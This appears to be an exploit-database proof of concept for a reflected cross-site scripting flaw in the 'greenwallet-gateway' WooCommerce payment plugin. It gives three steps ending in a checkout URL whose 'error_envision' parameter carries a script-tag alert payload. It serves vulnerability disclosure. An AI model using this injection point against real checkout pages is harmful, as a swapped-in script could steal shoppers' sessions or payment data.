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## https://sploitus.com/exploit?id=WPEX-ID:14283389-A6B8-4DD8-9441-F16FCC4AB3C0
1. Enable greenwallet-gateway as a woocommerce payment gateway
2. add something in your cart and visit the checkout page
3. visit website/checkoutpage/?error_envision=<script>alert(1)</script>